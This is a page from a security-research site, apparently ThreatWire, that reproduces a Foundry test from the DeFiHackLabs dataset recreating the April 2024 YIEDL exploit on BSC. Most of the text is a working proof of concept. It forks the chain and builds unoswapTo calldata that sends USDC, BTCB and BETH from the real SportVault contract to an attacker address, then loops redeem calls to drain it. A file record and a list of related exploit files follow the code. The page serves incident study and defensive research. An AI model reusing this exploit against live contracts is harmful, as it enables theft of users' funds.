Public reproduction file
src/test/2024-04/YIEDL_exp.sol
Public reproduction file for dataset entry YIEDL.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "../interface.sol";7// @Analysis8// https://twitter.com/Phalcon_xyz/status/17829665660421819579// @TX10// https://app.blocksec.com/explorer/tx/bsc/0x49ca5e188c538b4f2efb45552f13309cc0dd1f3592eee54decfc9da54620c2ec12interface ISportVault {13 function redeem(14 uint256 sharesToRedeem,15 address receivingAsset,16 uint256 minTokensToReceive,17 bytes[] calldata dataList,18 bool useDiscount19 ) external returns (uint256 tokensToReturn);20}22contract ContractTest is Test {23 IERC20 USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);24 IERC20 BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);25 IERC20 BETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);26 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);27 ISportVault sportVault = ISportVault(0x4eDda16AB4f4cc46b160aBC42763BA63885862a4);29 address Attacker = address(0x1111111111111111111111111111111111111111);31 function setUp() public {32 vm.createSelectFork("bsc", 38_126_753);33 }35 function testExploit() public {36 bytes[] memory dataList = new bytes[](11); //@note mock data list - unoswapTo37 uint256[] memory pools = new uint256[](1);38 pools[0] = uint256(39 28_948_022_309_329_048_857_350_594_136_651_893_637_891_169_795_467_361_725_136_627_244_723_734_772_82740 );41 dataList[0] = abi.encodeWithSignature(42 "unoswapTo(address,address,uint256,uint256,uint256[])",43 Attacker,44 address(USDC),45 2_331_516_232_778_274_153_239,46 0,47 pools48 );50 pools[0] = uint256(51 28_948_022_309_329_048_857_350_594_135_968_575_911_172_281_388_296_638_049_447_197_314_275_709_206_65852 );53 dataList[1] = abi.encodeWithSignature(54 "unoswapTo(address,address,uint256,uint256,uint256[])",55 Attacker,56 address(BTCB),57 16_071_737_934_381_556,58 0,59 pools60 );62 pools[0] = uint256(63 28_948_022_309_329_048_857_350_594_136_076_890_004_755_093_450_729_657_598_371_073_172_666_212_569_02064 );65 dataList[2] = abi.encodeWithSignature(66 "unoswapTo(address,address,uint256,uint256,uint256[])",67 Attacker,68 address(BETH),69 256_895_663_903_293_078,70 0,71 pools72 );74 dataList[3] = new bytes(0);75 dataList[4] = new bytes(0);76 dataList[5] = new bytes(0);77 dataList[6] = new bytes(0);78 dataList[7] = new bytes(0);79 dataList[8] = new bytes(0);80 dataList[9] = new bytes(0);81 dataList[10] = new bytes(0);83 console2.log("Attacker BNB balance before: ", Attacker.balance);85 for (uint256 i = 0; i < 20; i++) {86 USDC.balanceOf(address(sportVault));87 BTCB.balanceOf(address(sportVault));88 BETH.balanceOf(address(sportVault));89 BUSD.balanceOf(address(sportVault));91 sportVault.redeem(0, address(BUSD), 0, dataList, false);92 }94 console2.log("Attacker BNB balance after: ", Attacker.balance);95 }96}Analysis
Dataset entry
Public Foundry test for “YIEDL” (2024-04-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
- src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
- src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
- src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
- src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
- src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
- src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
- src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
- src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
- src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
- src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
- src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
- src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
- src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
- src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
- src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
- src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- YIEDL
- Path
- src/test/2024-04/YIEDL_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- df8d371e2bfccb23ec693cb898abbbb32e50fb18
- Language
- Solidity
- Size
- 97 lines
- Date
- 2024-04-24
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-04/YIEDL_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob df8d371e2bfccb23ec693cb898abbbb32e50fb18, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.